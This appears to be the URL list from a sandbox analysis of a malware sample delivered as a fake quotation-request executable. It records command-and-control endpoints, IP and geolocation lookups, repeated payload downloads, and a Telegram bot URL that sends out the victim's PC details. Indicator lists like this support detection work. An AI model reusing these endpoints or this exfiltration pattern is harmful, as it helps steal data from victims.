https://zxq.net/cmsys.gifz	explorer.exe, 00000004.00000003.2556013660.0000000000709000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2448655083.0000000000709000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2192268321.0000000000709000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325385308.0000000000709000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2658748665.0000000000709000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://zxq.net/what-happened-to-the-old-zxq-website/#breadcrumb	cmsys.cmn.4.dr	false		unknown
https://zxq.net/what-happened-to-the-old-zxq-website/Yr	explorer.exe, 00000004.00000003.2448601457.0000000000729000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2448550627.0000000000725000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://chrome.google.com/webstore?hl=en	RegSvcs.exe, 0000000A.00000002.4486046867.0000000002F11000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://vccmd01.t35.com/cmsys.gif	explorer.exe, 00000004.00000003.2555885761.0000000000725000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2555958854.0000000000729000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://vccmd01.zxq.netst.exe	explorer.exe, 00000004.00000003.2325265874.000000000072A000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://vccmd01.zxq.net/cmsys.giftXf	explorer.exe, 00000004.00000003.2555885761.0000000000725000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2555958854.0000000000729000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://zxq.net/cmsys.gife	explorer.exe, 00000004.00000003.2556013660.0000000000709000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2658511629.000000000072A000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2448601457.0000000000729000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2448655083.0000000000709000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325265874.000000000072A000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2448550627.0000000000725000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2192268321.0000000000709000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2555885761.0000000000725000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2555958854.0000000000729000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325385308.0000000000709000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2658748665.0000000000709000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://zxq.net/transform-your-space-simple-home-repairs-for-singaporeans/	cmsys.cmn.4.dr	false		unknown
http://vccmd01.t35.com/cmsys.gifq.net/cmsys.gifetVf	explorer.exe, 00000004.00000003.2555885761.0000000000725000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2555958854.0000000000729000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://vccmd01.zxq.net/cmsys.gif5.com/cmsys.gif	explorer.exe, 00000004.00000003.2555885761.0000000000725000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2555958854.0000000000729000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://vccmd01.zxq.net/cmsys.gif#x	explorer.exe, 00000004.00000003.2325265874.000000000072A000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://zxq.net/wp-content/uploads/2022/02/ZXQ.png	cmsys.cmn.4.dr	false		unknown
https://zxq.net/about-us/	cmsys.cmn.4.dr	false		unknown
http://checkip.dyndns.org/q	zapytanie ofertowe st-2024-s315 cpa9170385.exe , 00000001.00000002.2058258965.0000000003B00000.00000004.00001000.00020000.00000000.sdmp, RegSvcs.exe, 0000000A.00000002.4483583747.0000000000402000.00000040.80000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://zxq.net/#logo	cmsys.cmn.4.dr	false		unknown
https://zxq.net/what-happened-to-the-old-zxq-website/LMEMpbr_W	explorer.exe, 00000004.00000003.2448601457.0000000000729000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325265874.000000000072A000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2448550627.0000000000725000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2555885761.0000000000725000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2555958854.0000000000729000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://zxq.net/what-happened-to-the-old-zxq-website/C:	explorer.exe, 00000004.00000003.2555958854.0000000000729000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2192097102.0000000000725000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2192186591.0000000000729000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://zxq.net/cmsys.gifB	explorer.exe, 00000004.00000003.2556013660.0000000000709000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2448655083.0000000000709000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2192268321.0000000000709000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325385308.0000000000709000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2658748665.0000000000709000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://zxq.net/news/technology/	cmsys.cmn.4.dr	false		unknown
https://zxq.net/wp-content/themes/smart-mag/js/jquery.sticky-sidebar.js?ver=7.1.1	explorer.exe, 00000004.00000003.2325437743.0000000003BA4000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325504423.0000000003BA3000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2448655083.00000000006F9000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2192097102.000000000071E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2658846234.0000000003B89000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2556013660.00000000006F9000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325385308.00000000006F9000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325214501.0000000003B89000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2192268321.00000000006F9000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2192222397.0000000003B85000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2658748665.00000000006F9000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325465264.0000000003B89000.00000004.00000020.00020000.00000000.sdmp, what-happened-to-the-old-zxq-website[1].htm.4.dr, cmsys.cmn.4.dr	false		unknown
http://vccmd03.googlecode.com/files/cmsys.gif:a	explorer.exe, 00000004.00000003.2448601457.0000000000729000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2448550627.0000000000725000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	RegSvcs.exe, 0000000A.00000002.4486046867.0000000002D51000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://zxq.net/wp-json/	explorer.exe, 00000004.00000003.2658748665.0000000000709000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325465264.0000000003B89000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2177725240.0000000000725000.00000004.00000020.00020000.00000000.sdmp, what-happened-to-the-old-zxq-website[1].htm.4.dr, cmsys.cmn.4.dr	false		unknown
https://zxq.net/what-happened-to-the-old-zxq-website/br	explorer.exe, 00000004.00000003.2555885761.0000000000725000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2555958854.0000000000729000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://vccmd01.googlecode.com/files/cmsys.gif:a	explorer.exe, 00000004.00000003.2658511629.000000000072A000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://zxq.net/wp-content/uploads/2024/10/Snoring-and-Sleep-Apnea-1024x576.png	explorer.exe, 00000004.00000003.2325437743.0000000003BA4000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325504423.0000000003BA3000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2192097102.000000000071E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2658846234.0000000003B89000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325214501.0000000003B89000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2192222397.0000000003B85000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325465264.0000000003B89000.00000004.00000020.00020000.00000000.sdmp, what-happened-to-the-old-zxq-website[1].htm.4.dr, cmsys.cmn.4.dr	false		unknown
https://reallyfreegeoip.org/xml/	zapytanie ofertowe st-2024-s315 cpa9170385.exe , 00000001.00000002.2058258965.0000000003B00000.00000004.00001000.00020000.00000000.sdmp, RegSvcs.exe, 0000000A.00000002.4486046867.0000000002DA1000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000A.00000002.4483583747.0000000000402000.00000040.80000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.office.com/	RegSvcs.exe, 0000000A.00000002.4486046867.0000000002F42000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000A.00000002.4486046867.0000000002F33000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://zxq.net/wp-content/uploads/2024/10/Snoring-and-Sleep-Apnea-150x84.png	explorer.exe, 00000004.00000003.2325437743.0000000003BA4000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325504423.0000000003BA3000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2192097102.000000000071E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2658846234.0000000003B89000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325214501.0000000003B89000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2192222397.0000000003B85000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325465264.0000000003B89000.00000004.00000020.00020000.00000000.sdmp, what-happened-to-the-old-zxq-website[1].htm.4.dr, cmsys.cmn.4.dr	false		unknown
https://zxq.net/wp-content/uploads/2024/10/How-to-Handle-Quick-Home-Repairs-Without-Professional-Hel	cmsys.cmn.4.dr	false		unknown
https://zxq.net/cmd01.zxq.net/cmsys.giftXf	explorer.exe, 00000004.00000003.2658511629.000000000072A000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://vccmd03.googlecode.com/files/cmsys.gif)a	explorer.exe, 00000004.00000003.2448601457.0000000000729000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2448550627.0000000000725000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://vccmd01.t35.com/cmsys.giftXf	explorer.exe, 00000004.00000003.2448601457.0000000000729000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325265874.000000000072A000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2448550627.0000000000725000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://vccmd01.zxq.net/cmsys.gifetVf	explorer.exe, 00000004.00000003.2448601457.0000000000729000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325265874.000000000072A000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2448550627.0000000000725000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://zxq.net/what-happened-to-the-old-zxq-website/rrC:	explorer.exe, 00000004.00000003.2325385308.00000000006F9000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2658748665.00000000006F9000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://vccmd02.googlecode.com/files/cmsys.gif)a	explorer.exe, 00000004.00000003.2555885761.0000000000725000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2555958854.0000000000729000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://zxq.net/wp-content/plugins/table-of-contents-plus/front.min.js?ver=2106	explorer.exe, 00000004.00000003.2325437743.0000000003BA4000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325504423.0000000003BA3000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2448655083.00000000006F9000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2192097102.000000000071E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2658846234.0000000003B89000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2556013660.00000000006F9000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325385308.00000000006F9000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325214501.0000000003B89000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2192268321.00000000006F9000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2192222397.0000000003B85000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2658748665.00000000006F9000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325465264.0000000003B89000.00000004.00000020.00020000.00000000.sdmp, what-happened-to-the-old-zxq-website[1].htm.4.dr, cmsys.cmn.4.dr	false		unknown
http://vccmd02.googlecode.com/files/cmsys.gif3	explorer.exe, 00000004.00000003.2448655083.00000000006F9000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2556013660.00000000006F9000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325385308.00000000006F9000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2192268321.00000000006F9000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2658748665.00000000006F9000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	RegSvcs.exe, 0000000A.00000002.4489526374.0000000003D71000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://schema.org	explorer.exe, 00000004.00000003.2658511629.000000000072A000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325437743.0000000003BA4000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325504423.0000000003BA3000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2448601457.0000000000729000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2658846234.0000000003B89000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2448550627.0000000000725000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325346008.0000000003B88000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2555885761.0000000000725000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2555958854.0000000000729000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325465264.0000000003B89000.00000004.00000020.00020000.00000000.sdmp, what-happened-to-the-old-zxq-website[1].htm.4.dr, cmsys.cmn.4.dr	false	URL Reputation: safe	unknown
https://www.ecosia.org/newtab/	RegSvcs.exe, 0000000A.00000002.4489526374.0000000003D71000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://zxq.net/wp-content/uploads/2024/10/DIY-Home-Repair-Projects-for-Busy-Singaporeans-1024x576.p	explorer.exe, 00000004.00000003.2325437743.0000000003BA4000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325504423.0000000003BA3000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2192097102.000000000071E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2658846234.0000000003B89000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325214501.0000000003B89000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325465264.0000000003B89000.00000004.00000020.00020000.00000000.sdmp, what-happened-to-the-old-zxq-website[1].htm.4.dr, cmsys.cmn.4.dr	false		unknown
https://zxq.net/what-happened-to-the-old-zxq-website/nOX	explorer.exe, 00000004.00000003.2555885761.0000000000725000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2555958854.0000000000729000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://zxq.net/wp-content/plugins/table-of-contents-plus/screen.min.css?ver=2106	explorer.exe, 00000004.00000003.2325437743.0000000003BA4000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325504423.0000000003BA3000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2658846234.0000000003B89000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325214501.0000000003B89000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325465264.0000000003B89000.00000004.00000020.00020000.00000000.sdmp, what-happened-to-the-old-zxq-website[1].htm.4.dr, cmsys.cmn.4.dr	false		unknown
https://zxq.net/wp-content/uploads/2024/10/Transform-Your-Space-Simple-Home-Repairs-for-Singaporeans	cmsys.cmn.4.dr	false		unknown
http://aborters.duckdns.org:8081	zapytanie ofertowe st-2024-s315 cpa9170385.exe , 00000001.00000002.2058258965.0000000003B00000.00000004.00001000.00020000.00000000.sdmp, RegSvcs.exe, 0000000A.00000002.4486046867.0000000002D51000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000A.00000002.4483583747.0000000000402000.00000040.80000000.00040000.00000000.sdmp	false		unknown
https://zxq.net/?s=	explorer.exe, 00000004.00000003.2325465264.0000000003B89000.00000004.00000020.00020000.00000000.sdmp, what-happened-to-the-old-zxq-website[1].htm.4.dr, cmsys.cmn.4.dr	false		unknown
http://51.38.247.67:8081/_send_.php?L	RegSvcs.exe, 0000000A.00000002.4486046867.0000000002ECE000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://zxq.net/wp-content/uploads/2024/10/DIY-Home-Repair-Projects-for-Busy-Singaporeans.png	explorer.exe, 00000004.00000003.2325437743.0000000003BA4000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325504423.0000000003BA3000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2192097102.000000000071E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2658846234.0000000003B89000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325214501.0000000003B89000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325465264.0000000003B89000.00000004.00000020.00020000.00000000.sdmp, what-happened-to-the-old-zxq-website[1].htm.4.dr, cmsys.cmn.4.dr	false		unknown
http://anotherarmy.dns.army:8081	zapytanie ofertowe st-2024-s315 cpa9170385.exe , 00000001.00000002.2058258965.0000000003B00000.00000004.00001000.00020000.00000000.sdmp, RegSvcs.exe, 0000000A.00000002.4486046867.0000000002D51000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000A.00000002.4483583747.0000000000402000.00000040.80000000.00040000.00000000.sdmp	false		unknown
https://zxq.net/what-happened-to-the-old-zxq-website/#webpage	explorer.exe, 00000004.00000003.2325465264.0000000003B89000.00000004.00000020.00020000.00000000.sdmp, what-happened-to-the-old-zxq-website[1].htm.4.dr, cmsys.cmn.4.dr	false		unknown
https://zxq.net/cmsys.gife(Y	explorer.exe, 00000004.00000003.2658511629.000000000072A000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2555885761.0000000000725000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2555958854.0000000000729000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://zxq.net/news/entertainment/	cmsys.cmn.4.dr	false		unknown
https://zxq.net/wp-includes/wlwmanifest.xml	explorer.exe, 00000004.00000003.2325437743.0000000003BA4000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325504423.0000000003BA3000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2192222397.0000000003B88000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2658846234.0000000003B89000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325214501.0000000003B89000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325465264.0000000003B89000.00000004.00000020.00020000.00000000.sdmp, what-happened-to-the-old-zxq-website[1].htm.4.dr, cmsys.cmn.4.dr	false		unknown
https://reallyfreegeoip.org	RegSvcs.exe, 0000000A.00000002.4486046867.0000000002E0F000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000A.00000002.4486046867.0000000002DA1000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000A.00000002.4486046867.0000000002E35000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://zxq.net/wp-content/uploads/2022/03/follow-us-on-google-news-banner-black-300x117.png	cmsys.cmn.4.dr	false		unknown
https://zxq.net/wp-content/uploads/2024/10/Snoring-and-Sleep-Apnea-768x432.png	explorer.exe, 00000004.00000003.2325437743.0000000003BA4000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325504423.0000000003BA3000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2192097102.000000000071E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2658846234.0000000003B89000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325214501.0000000003B89000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2192222397.0000000003B85000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325465264.0000000003B89000.00000004.00000020.00020000.00000000.sdmp, what-happened-to-the-old-zxq-website[1].htm.4.dr, cmsys.cmn.4.dr	false		unknown
https://zxq.net/snoring-and-sleep-apnea/	cmsys.cmn.4.dr	false		unknown
https://zxq.net/wp-content/uploads/2024/10/Essential-Factors-to-Consider-for-Effective-Water-Extract	cmsys.cmn.4.dr	false		unknown
https://zxq.net/wu	explorer.exe, 00000004.00000003.2192097102.0000000000725000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2192186591.0000000000729000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://zxq.net/what-happened-to-the-old-zxq-website/-	explorer.exe, 00000004.00000003.2658511629.000000000072A000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2448601457.0000000000729000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325265874.000000000072A000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2448550627.0000000000725000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2555885761.0000000000725000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2555958854.0000000000729000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2192097102.0000000000725000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2192186591.0000000000729000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://zxq.net/wp-content/uploads/2024/10/Choosing-the-Right-Commercial-Cleaning-Company-for-Your-B	cmsys.cmn.4.dr	false		unknown
https://zxq.net/write-for-us/	cmsys.cmn.4.dr	false		unknown
http://vccmd02.googlecode.com/files/cmsys.gif:a	explorer.exe, 00000004.00000003.2325265874.000000000072A000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2555885761.0000000000725000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2555958854.0000000000729000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://zxq.net/essential-factors-to-consider-for-effective-water-extraction-services/	cmsys.cmn.4.dr	false		unknown
http://vccmd03.googlecode.com/files/cmsys.gif&	explorer.exe, 00000004.00000003.2448655083.00000000006F9000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325265874.000000000072A000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2556013660.00000000006F9000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325385308.00000000006F9000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2192268321.00000000006F9000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2658748665.00000000006F9000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:849224%0D%0ADate%20a	RegSvcs.exe, 0000000A.00000002.4486046867.0000000002E35000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://zxq.net/what-happened-to-the-old-zxq-website/LMEMpbr	explorer.exe, 00000004.00000003.2658511629.000000000072A000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2448601457.0000000000729000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325265874.000000000072A000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2448550627.0000000000725000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2555885761.0000000000725000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2555958854.0000000000729000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://51.38.247.67:8081/_send_.php?LCapplication/x-www-form-urlencoded	zapytanie ofertowe st-2024-s315 cpa9170385.exe , 00000001.00000002.2058258965.0000000003B00000.00000004.00001000.00020000.00000000.sdmp, RegSvcs.exe, 0000000A.00000002.4483583747.0000000000402000.00000040.80000000.00040000.00000000.sdmp	false		unknown
https://zxq.net/#organization	cmsys.cmn.4.dr	false		unknown
https://zxq.net/wp-content/themes/smart-mag/css/icons/fonts/ts-icons.woff2?v2.2	explorer.exe, 00000004.00000003.2658511629.000000000072A000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325504423.0000000003BA3000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2448601457.0000000000729000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2658846234.0000000003B89000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2448550627.0000000000725000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325346008.0000000003B88000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2555885761.0000000000725000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2555958854.0000000000729000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325465264.0000000003B89000.00000004.00000020.00020000.00000000.sdmp, what-happened-to-the-old-zxq-website[1].htm.4.dr, cmsys.cmn.4.dr	false		unknown
https://zxq.net/wp-content/uploads/2022/03/follow-us-on-google-news-banner-black.png	explorer.exe, 00000004.00000003.2325437743.0000000003BA4000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325504423.0000000003BA3000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2192097102.000000000071E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2658846234.0000000003B89000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325214501.0000000003B89000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325465264.0000000003B89000.00000004.00000020.00020000.00000000.sdmp, what-happened-to-the-old-zxq-website[1].htm.4.dr, cmsys.cmn.4.dr	false		unknown
https://zxq.net/news/business/	cmsys.cmn.4.dr	false		unknown
https://api.telegram.org	RegSvcs.exe, 0000000A.00000002.4486046867.0000000002E35000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://zxq.net/cmsys.gife0	explorer.exe, 00000004.00000003.2555885761.0000000000725000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2555958854.0000000000729000.00000004.00000020.00020000.00000000.sdmp	false		unknown
